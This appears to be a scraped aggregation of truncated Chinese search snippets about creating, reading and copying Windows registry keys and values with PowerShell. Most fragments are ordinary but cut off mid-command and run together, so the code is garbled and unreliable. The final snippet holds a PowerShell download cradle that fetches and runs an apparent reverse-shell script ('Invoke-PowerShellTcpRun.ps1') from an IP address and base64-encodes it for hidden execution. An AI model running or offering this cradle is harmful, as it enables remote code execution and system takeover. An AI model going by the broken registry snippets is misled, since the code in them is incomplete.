Get-Item-PathRegistry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion |Select-Object-ExpandPropertyProperty Output DevicePath MediaPathUnexpanded ProgramFilesDir CommonFilesDir ProductId 若要在可读性更强的窗体中查看注册表条目,请使用Get-ItemProperty: ...
New-ItemProperty-Path$key.PSPath-NameMaxAllowed-PropertyTypeQWord-Value1024 Output MaxAllowed : 1024 PSPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software\MySoftwareKey PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Software PSChildName : MySoftwareKey PSProvide...
# 创建HKEY_CLASSES_ROOT快捷方式: New-PSDrive -Name HKCR -PSProvider registry -root HKEY_CLASSES_ROOT | Out-Null # 找出关联PS1文件的键: $keyname = (Get-ItemProperty HKCR:\.ps1)."(default)" # 添加三个菜单命令: $psExe= "$pshome\powershell.exe" New-Item ("HKCR:\$keyname\shell\myexec...
使用New-ItemProperty命令创建子注册表项:如果要在已存在的注册表项下创建子项,可以使用以下命令: 其中,“父注册表项路径”是已存在的注册表项的完整路径,例如"HKLM:\Software\MyApp";“子注册表项名称”是要创建的子项的名称;“PropertyType”指定子项的数据类型,例如String、DWord等。 重复步骤2和步骤3以创建...
可以使用 New-PSDrive cmdlet 为注册表的任何部分创建 PowerShell 驱动器。 PowerShell 使用注册表提供程序自动创建两个 PowerShell 驱动器: HKLM。 表示 HKEY_LOCAL_MACHINE 注册表配置单元。 HKCU。 表示 HKEY_LOCAL_USER 注册表配置单元。 将cmdlet 与 Item 和 ChildItem 名词结合使用可访问注册表项;而将 cm...
常见的值类型包括字符串("String")、整数("DWord")、二进制("Binary")等。 例如,要在HKEY_LOCAL_MACHINE\SOFTWARE\MyApp路径下创建一个名为"NewValue"的字符串值,可以使用以下命令: 代码语言:txt 复制 $regPath = "SOFTWARE\MyApp" $regKey = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey($regPath...
如果你已经拿到了Microsoft.Win32.Registry对象,你还可以通过该对象的SetValue() 和 GetValue()方法来读写值。在你使用New-Item来创建新键时,返回的结果已然是Microsoft.Win32.Registry了。你需要做的无非是把它保存起来,然后按照下面的步骤操作即可: # 创建一个包含多个值的键:$key=mdHKCU:\Software\Test2$key...
(以下均为演示);New-Item-Path Registry::HKEY_USERS\$CurrentUserSID\SOFTWARE\ITPro\TEST\Login-Force#创建项New-ItemProperty-Path Registry::HKEY_USERS\$CurrentUserSID\SOFTWARE\ITPro\TEST\Login-Name'Jason'-PropertyType DWord-Value'1'-Force#创建键值#Remove-ItemProperty -Path Registry::HKEY_USERS\$...
$path = "HKLM:\SOFTWARE\ContosoCompany" New-ItemProperty -Path $path -Name Test -Type DWORD -Value 1 备注 有关其他允许的类型值,请查看本文中的动态参数部分。有关详细的 cmdlet 用法,请参阅 New-ItemProperty。复制注册表项和值在Registry 提供程序中,使用 Copy-Item cmdlet 复制注册表项和值。 使用 ...
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) 以上版本的Linux: ...